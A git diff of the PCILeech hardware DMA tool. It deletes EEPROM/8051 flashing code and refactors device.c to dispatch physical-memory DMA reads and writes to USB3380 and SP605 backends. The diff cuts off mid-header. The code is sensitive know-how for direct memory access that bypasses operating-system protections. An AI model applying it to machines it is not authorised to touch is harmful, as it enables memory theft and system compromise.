diff --git a/pcileech/cpuflash.c b/pcileech/cpuflash.c deleted file mode 100644 index 5483705..0000000 --- a/pcileech/cpuflash.c +++ /dev/null @@ -1,50 +0,0 @@ -// cpuflash.c : implementation related to 8051 CPU and EEPROM flashing. -// -// (c) Ulf Frisk, 2016, 2017 -// Author: Ulf Frisk, pcileech@frizk.net -// -#include "cpuflash.h" -#include "device.h" - -VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) -{ - BOOL result; - printf("Flashing firmware ... \n"); - if(!pCfg->cbIn || pCfg->cbIn > 32768) { - printf("Flash failed: failed to open file or invalid size\n"); - return; - } - if(!pCfg->fForceRW && (pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1)) { - printf("Flash failed: invalid firmware signature or size\n"); - return; - } - result = DeviceFlashEEPROM(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn); - if(!result) { - printf("Flash failed: failed to write firmware to device\n"); - return; - } - printf("SUCCESS!\n"); -} - -VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) -{ - BOOL result; - printf("Loading 8051 executable and starting ... \n"); - if(!pCfg->cbIn || pCfg->cbIn > 32768) { - printf("8051 startup failed: failed to open file or invalid size\n"); - return; - } - result = Device8051Start(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn); - if(!result) { - printf("8051 startup failed: failed to write executable to device or starting 8051\n"); - return; - } - printf("SUCCESS!\n"); -} - -VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) -{ - printf("Stopping 8051 ... \n"); - Device8051Stop(pDeviceData); - printf("SUCCESS!\n"); -} \ No newline at end of file diff --git a/pcileech/cpuflash.h b/pcileech/cpuflash.h deleted file mode 100644 index 44ebac3..0000000 --- a/pcileech/cpuflash.h +++ /dev/null @@ -1,32 +0,0 @@ -// cpuflash.h : definitions related to 8051 CPU and EEPROM flashing. -// -// (c) Ulf Frisk, 2016 -// Author: Ulf Frisk, pcileech@frizk.net -// -#ifndef __CPUFLASH_H__ -#define __CPUFLASH_H__ -#include "pcileech.h" - -/* -* Flash a new firmware into the onboard memory of the USB3380 card. -* This may be dangerious and the device may stop working after a reflash! -* -- pCfg = The configuration data containing the flash image filename. -* -- pDeviceData -*/ -VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); - -/* -* Load a program into the 8051 CPU and start executing it. -* -- pCfg = The configuration data containing the program image filename. -* -- pDeviceData -*/ -VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); - -/* -* Stop the onboard 8051 CPU if its running. -* -- pCfg -* -- pDeviceData -*/ -VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); - -#endif /* __CPUFLASH_H__ */ \ No newline at end of file diff --git a/pcileech/device.c b/pcileech/device.c index c6b1f48..a3fac37 100644 --- a/pcileech/device.c +++ b/pcileech/device.c @@ -1,444 +1,85 @@ -// device.c : implementation related to the USB3380 hardware device. +// device.c : implementation related to hardware devices. // // (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "device.h" #include "kmd.h" -#include "util.h" -#include +#include "device3380.h" +#include "device605.h" -#define CSR_BYTE0 0x01 -#define CSR_BYTE1 0x02 -#define CSR_BYTE2 0x04 -#define CSR_BYTE3 0x08 -#define CSR_BYTEALL 0x0f -#define CSR_CONFIGSPACE_PCIE 0x00 -#define CSR_CONFIGSPACE_MEMM 0x10 -#define CSR_CONFIGSPACE_8051 0x20 -#define REG_USBSTAT 0x90 -#define REG_USBCTL2 0xc8 -#define REG_DMACTL_0 0x180 -#define REG_DMASTAT_0 0x184 -#define REG_DMACOUNT_0 0x190 -#define REG_DMAADDR_0 0x194 -#define REG_FIFOSTAT_0 0x32c -#define REG_DMACTL_1 0x1a0 -#define REG_DMASTAT_1 0x1a4 -#define REG_DMACOUNT_1 0x1b0 -#define REG_DMAADDR_1 0x1b4 -#define REG_DMACTL_2 0x1c0 -#define REG_DMASTAT_2 0x1c4 -#define REG_DMACOUNT_2 0x1d0 -#define REG_DMAADDR_2 0x1d4 -#define REG_DMACTL_3 0x1e0 -#define REG_DMASTAT_3 0x1e4 -#define REG_DMACOUNT_3 0x1f0 -#define REG_DMAADDR_3 0x1f4 -#define REGPCI_STATCMD 0x04 - -typedef struct tdEP_INFO { - UCHAR pipe; - WORD rCTL; - WORD rSTAT; - WORD rCOUNT; - WORD rADDR; -} EP_INFO, *PEP_INFO; - -EP_INFO CEP_INFO[3] = { - { .pipe = 0x84,.rCTL = REG_DMACTL_1,.rSTAT = REG_DMASTAT_1,.rCOUNT = REG_DMACOUNT_1,.rADDR = REG_DMAADDR_1 }, - { .pipe = 0x86,.rCTL = REG_DMACTL_2,.rSTAT = REG_DMASTAT_2,.rCOUNT = REG_DMACOUNT_2,.rADDR = REG_DMAADDR_2 }, - { .pipe = 0x88,.rCTL = REG_DMACTL_3,.rSTAT = REG_DMASTAT_3,.rCOUNT = REG_DMACOUNT_3,.rADDR = REG_DMAADDR_3 } -}; - -typedef struct tdThreadDataReadEP { - PDEVICE_DATA pDeviceData; - QWORD qwAddr; - PBYTE pb; - DWORD cb; - BOOL isFinished; - BOOL result; - PEP_INFO pep; -} THREAD_DATA_READ_EP, *PTHREAD_DATA_READ_EP; - -typedef struct _DEVICE_MEMORY_RANGE { - DWORD BaseAddress; - DWORD TopAddress; -} DEVICE_MEMORY_RANGE, *PDEVICE_MEMORY_RANGE; - -#define NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES 2 -DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES] = { - { .BaseAddress = 0x000A0000,.TopAddress = 0x000FFFFF }, // SMM LOWER - { .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE -}; - -BOOL _DeviceIsInReservedMemoryRange(_In_ QWORD qwAddr, _In_ DWORD cb) +BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - PDEVICE_MEMORY_RANGE pmr; - for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) { - pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i]; - if(!((qwAddr > pmr->TopAddress) || (qwAddr + cb <= pmr->BaseAddress))) { - return TRUE; - } + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceReadDMA(ctx, qwAddr, pb, cb, 0) || DeviceReadDMA(ctx, qwAddr, pb, cb, 0); + } + if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) { + return Device3380_ReadDMA(ctx, qwAddr, pb, cb); + } else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) { + return Device605_ReadDMA(ctx, qwAddr, pb, cb); } return FALSE; } -BOOL DeviceWriteCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _In_ DWORD dwRegValue, _In_ BYTE fCSR) -{ - DWORD cbTransferred; - PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0x40, .u2 = 0, .u3 = wRegAddr & 0xFF, .u4 = (wRegAddr >> 8) & 0xFF, .dwRegValue = dwRegValue }; - if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned - return WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL); -} - -BOOL DeviceReadCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _Out_ PDWORD pdwRegValue, _In_ BYTE fCSR) -{ - DWORD cbTransferred; - PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0xcf, .u2 = 0, .u3 = wRegAddr & 0xff, .u4 = (wRegAddr >> 8) & 0xff, .dwRegValue = 0 }; - if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned - return - WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL) && - WinUsb_ReadPipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrIn, (PUCHAR)pdwRegValue, 4, &cbTransferred, NULL); -} - -BOOL _DeviceReadDMA_Retry(PTHREAD_DATA_READ_EP ptd) -{ - BOOL result; - DWORD cbTransferred; - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - DeviceWriteCsr(ptd->pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? - result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); - return result; -} - -VOID _DeviceReadDMA(PTHREAD_DATA_READ_EP ptd) -{ - DWORD dwTimeout, cbTransferred; - if(ptd->cb > ptd->pDeviceData->MaxSizeDmaIo) { - ptd->result = FALSE; - ptd->isFinished = TRUE; - return; - } - // set EP timeout value on conservative usb2 assumptions (3 parallel reads, 35MB/s total speed) - // (XMB * 1000 * 3) / (35 * 1024 * 1024) -> 0x2fc9 ~> 0x3000 :: 4k->64ms, 5.3M->520ms - dwTimeout = 64 + ptd->cb / 0x3000; - WinUsb_SetPipePolicy(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &dwTimeout); - // perform memory read - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT - DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL); - if(!ptd->result) { - ptd->result = _DeviceReadDMA_Retry(ptd); - } - ptd->isFinished = TRUE; -} - -BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) -{ - THREAD_DATA_READ_EP td[3]; - DWORD i, dwChunk; - if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { - return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0); - } - if(cb % 0x1000) { return FALSE; } - if(cb > 0x01000000) { return FALSE; } - if(qwAddr + cb > 0x100000000) { return FALSE; } - if(_DeviceIsInReservedMemoryRange(qwAddr, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; } - ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3); - if(cb < 0x3000 || !pDeviceData->IsAllowedMultiThreadDMA) { - if(cb > 0x00800000) { // read max 8MB at a time. - return - DeviceReadDMA(pDeviceData, qwAddr, pb, 0x00800000, 0) && - DeviceReadDMA(pDeviceData, qwAddr + 0x00800000, pb + 0x00800000, cb - 0x00800000, 0); - } - td[0].pDeviceData = pDeviceData; - td[0].pep = &CEP_INFO[0]; - td[0].qwAddr = qwAddr; - td[0].pb = pb; - td[0].cb = cb; - _DeviceReadDMA(&td[0]); - return td[0].result; - } else { - dwChunk = (cb / 3) & 0xfffff000; - for(i = 0; i < 3; i++) { - td[i].pDeviceData = pDeviceData; - td[i].pep = &CEP_INFO[i]; - td[i].qwAddr = qwAddr; qwAddr += dwChunk; - td[i].pb = pb; pb += dwChunk; - if(i == 2) { - td[i].cb = cb - 2 * dwChunk; - _DeviceReadDMA(&td[i]); - } - else { - td[i].cb = dwChunk; - CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)_DeviceReadDMA, &td[i], 0, NULL); - } - } - while(!td[0].isFinished || !td[1].isFinished || !td[2].isFinished) { - SwitchToThread(); - } - return td[0].result && td[1].result && td[2].result; - } -} - -BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) -{ - BOOL result; - DWORD cbTransferred; - if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { - return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0); - } - if(qwAddr + cb > 0x100000000) { return FALSE; } - DeviceWriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH - DeviceWriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE - DeviceWriteCsr(pDeviceData, REG_DMAADDR_0, (DWORD)qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS - DeviceWriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT - DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - DeviceWriteCsr(pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ??? - result = WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, pb, cb, &cbTransferred, NULL); - DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - must be here for 1st transfer to work. - return result; -} - -BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) +BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { PBYTE pbV; - BOOL result = DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags); + BOOL result = FALSE; + if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) { + return DeviceWriteDMA(ctx, qwAddr, pb, cb, 0) || DeviceWriteDMA(ctx, qwAddr, pb, cb, 0); + } + if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) { + result = Device3380_WriteDMA(ctx, qwAddr, pb, cb); + } else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) { + result = Device605_WriteDMA(ctx, qwAddr, pb, cb); + } if(!result) { return FALSE; } - pbV = LocalAlloc(0, cb + 0x2000); - if(!pbV) { return FALSE; } - result = - DeviceReadDMA(pDeviceData, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && - (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); - LocalFree(pbV); + if(flags & PCILEECH_MEM_FLAG_VERIFYWRITE) { + pbV = LocalAlloc(0, cb + 0x2000); + if(!pbV) { return FALSE; } + result = + DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) && + (0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb)); + LocalFree(pbV); + } return result; } -BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051) +VOID DeviceClose(_Inout_ PPCILEECH_CONTEXT ctx) { - WORD wAddr = 0; - DWORD dwWriteValue; - if(!pbProgram8051 || !cbProgram8051 || cbProgram8051 > 0x7FFF) { return FALSE; } - while(wAddr < cbProgram8051) { - dwWriteValue = *(DWORD*)(pbProgram8051 + wAddr); // TODO: may read out-of-buffer by max 3 bytes - DeviceWriteCsr(pDeviceData, wAddr, dwWriteValue, CSR_CONFIGSPACE_8051 | CSR_BYTEALL); // write 8051 program memory (page 253). - DeviceReadCsr(pDeviceData, wAddr, &dwWriteValue, CSR_CONFIGSPACE_8051); - wAddr += 4; - } - DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); // enable 8051 - dwWriteValue &= 0xFE; - DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); //DEVINIT - START 8051 - return TRUE; -} - -VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData) -{ - DWORD dwWriteValue; - DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); - dwWriteValue |= 0x01; - DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); -} - -BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM) -{ - WORD wAddr = 0; - DWORD dwWriteValue; - if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) { - return FALSE; // too small or too large for 2 byte addressing mode - } - while(wAddr < cbEEPROM) { - // initialize EEPROM for writing - DeviceWriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable - DeviceWriteCsr(pDeviceData, 0x260, 0x00000000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // off - // write data - dwWriteValue = *(DWORD*)(pbEEPROM + wAddr); - DeviceWriteCsr(pDeviceData, 0x264, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTEALL); - // write control register and wait for action to finish - dwWriteValue = 0x03004000 | (wAddr >> 2); - DeviceWriteCsr(pDeviceData, 0x260, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTE0 | CSR_BYTE1 | CSR_BYTE3); // write serial EEPROM buffer (page 250). - while(dwWriteValue & 0xFF000000) { // wait write finish - DeviceReadCsr(pDeviceData, 0x260, &dwWriteValue, CSR_CONFIGSPACE_PCIE); + if(ctx->hDevice) { + if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) { + Device3380_Close(ctx); + } else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) { + Device605_Close(ctx); } - wAddr += 4; } - return TRUE; } -BOOL DeviceRetrievePath(_Out_bytecap_(BufLen) LPWSTR wszDevicePath, _In_ ULONG BufLen) +BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx) { - BOOL result; - HDEVINFO deviceInfo; - SP_DEVICE_INTERFACE_DATA interfaceData; - PSP_DEVICE_INTERFACE_DETAIL_DATA detailData = NULL; - ULONG length, requiredLength = 0; - deviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_android, NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE); - if(deviceInfo == INVALID_HANDLE_VALUE) { - return FALSE; + if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) { + return Device3380_Open(ctx); + } else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) { + return Device605_Open(ctx); } - interfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA); - result = SetupDiEnumDeviceInterfaces(deviceInfo, NULL, &GUID_DEVINTERFACE_android, 0, &interfaceData); - if(!result) { - SetupDiDestroyDeviceInfoList(deviceInfo); - return FALSE; - } - result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, NULL, 0, &requiredLength, NULL); - if(!result && ERROR_INSUFFICIENT_BUFFER != GetLastError()) { - SetupDiDestroyDeviceInfoList(deviceInfo); - return FALSE; - } - detailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)LocalAlloc(LMEM_FIXED, requiredLength); - if(!detailData) { - SetupDiDestroyDeviceInfoList(deviceInfo); - return FALSE; - } - detailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA); - length = requiredLength; - result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, detailData, length, &requiredLength, NULL); - if(!result) { - LocalFree(detailData); - SetupDiDestroyDeviceInfoList(deviceInfo); - return FALSE; - } - wcscpy_s(wszDevicePath, BufLen, (LPWSTR)detailData->DevicePath); - LocalFree(detailData); - SetupDiDestroyDeviceInfoList(deviceInfo); - return TRUE; + return FALSE; } -VOID DeviceOpen_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData) +BOOL DeviceWriteMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - BOOL boolTRUE = TRUE; - ULONG ulTIMEOUT = 500; // ms - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE); - WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT); -} - -BOOL DeviceOpen_Open(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData) -{ - BOOL result; - pDeviceData->HandlesOpen = FALSE; - result = DeviceRetrievePath(pDeviceData->DevicePath, MAX_PATH); - if(!result) { - return FALSE; - } - pDeviceData->DeviceHandle = CreateFile(pDeviceData->DevicePath, - GENERIC_WRITE | GENERIC_READ, - FILE_SHARE_WRITE | FILE_SHARE_READ, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, - NULL); - if(INVALID_HANDLE_VALUE == pDeviceData->DeviceHandle) { - return FALSE; - } - result = WinUsb_Initialize(pDeviceData->DeviceHandle, &pDeviceData->WinusbHandle); - if(!result) { - CloseHandle(pDeviceData->DeviceHandle); - return FALSE; - } - pDeviceData->PipePciIn = 0x8e; // PCI in endpoint on the USB3380 - pDeviceData->PipePciOut = 0x0e; // PCI out endpoint on the USB3380 - pDeviceData->PipeCsrIn = 0x8d; // CSR in endpoint on the USB3380 - pDeviceData->PipeCsrOut = 0x0d; // CSR out endpoint on the USB3380 - pDeviceData->PipeDmaOut = 0x02; // GPEP0 endpoint on the USB3380 - pDeviceData->PipeDmaIn1 = 0x84; // GPEP1 endpoint on the USB3380 - pDeviceData->PipeDmaIn2 = 0x86; // GPEP2 endpoint on the USB3380 - pDeviceData->PipeDmaIn3 = 0x88; // GPEP3 endpoint on the USB3380 - pDeviceData->KMDHandle = NULL; - DeviceOpen_SetPipePolicy(pDeviceData); - pDeviceData->HandlesOpen = TRUE; - pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7. - pDeviceData->IsAllowedAccessReservedAddress = pCfg->fForceRW; - pDeviceData->MaxSizeDmaIo = pCfg->qwMaxSizeDmaIo; - return TRUE; -} - -VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData) -{ - if(!pDeviceData->HandlesOpen) { - return; - } - WinUsb_Free(pDeviceData->WinusbHandle); - CloseHandle(pDeviceData->DeviceHandle); - pDeviceData->HandlesOpen = FALSE; -} - -BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData) -{ - BOOL result; - DWORD dwReg; - result = DeviceOpen_Open(pCfg, pDeviceData); - if(!result) { return FALSE; } - DeviceReadCsr(pDeviceData, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); - if(pCfg->fForceUsb2 && (dwReg & 0x0100 /* Super-Speed(USB3) */)) { - printf("Device Info: Device running at USB3 speed; downgrading to USB2 ...\n"); - dwReg = 0x04; // USB2=ENABLE, USB3=DISABLE - DeviceWriteCsr(pDeviceData, REG_USBCTL2, dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); - DeviceClose(pDeviceData); - Sleep(1000); - result = DeviceOpen_Open(pCfg, pDeviceData); - if(!result) { return FALSE; } - DeviceReadCsr(pDeviceData, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); - } - if(dwReg & 0xc0 /* Full-Speed(USB1)|High-Speed(USB2) */) { - printf("Device Info: Device running at USB2 speed.\n"); - } else if(pCfg->fVerbose) { - printf("Device Info: Device running at USB3 speed.\n"); - } - return TRUE; -} - -BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) -{ - if(pDeviceData->KMDHandle) { - return KMDWriteMemory(pDeviceData, qwAddr, pb, cb); + if(ctx->phKMD) { + return KMDWriteMemory(ctx, qwAddr, pb, cb); } else { - return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags); + return DeviceWriteDMA(ctx, qwAddr, pb, cb, flags); } } -BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) +BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags) { - if(pDeviceData->KMDHandle) { - return KMDReadMemory(pDeviceData, qwAddr, pb, cb); + if(ctx->phKMD) { + return KMDReadMemory(ctx, qwAddr, pb, cb); } else { - return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, flags); + return DeviceReadDMA(ctx, qwAddr, pb, cb, flags); } } - -BOOL DevicePciOutWriteDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb) -{ - DWORD cbTransferred; - BYTE data[4 + 4 + 64 * 4]; - if(((cb % 4) != 0) || (cb > 256)) { return FALSE; } - if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; } - *(PDWORD)(data + 0) = 0x0000004f | (cb >> 2) << 24; - *(PDWORD)(data + 4) = (DWORD)qwAddr; - memcpy(data + 8, pb, cb); - return WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipePciOut, data, 8 + cb, &cbTransferred, NULL); -} - -BOOL DevicePciInReadDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb) -{ - DWORD cbTransferred; - BYTE data[4 + 4]; - if(((cb % 4) != 0) || (cb > 256)) { return FALSE; } - if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; } - *(PDWORD)(data + 0) = 0x000000cf | (cb >> 2) << 24; - *(PDWORD)(data + 4) = (DWORD)qwAddr; - return - WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipePciOut, data, 8, &cbTransferred, NULL) && - WinUsb_ReadPipe(pDeviceData->WinusbHandle, pDeviceData->PipePciIn, pb, cb, &cbTransferred, NULL) && - cb == cbTransferred; -} diff --git a/pcileech/device.h b/pcileech/device.h index 81148ad..3e82c3a 100644 --- a/pcileech/device.h +++ b/pcileech/device.h @@ -1,6 +1,6 @@ -// device.h : definitions related to the USB3380 hardware device. +// device.h : definitions related to the hardware devices. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __DEVICE_H__ @@ -8,104 +8,67 @@ #include "pcileech.h" #define 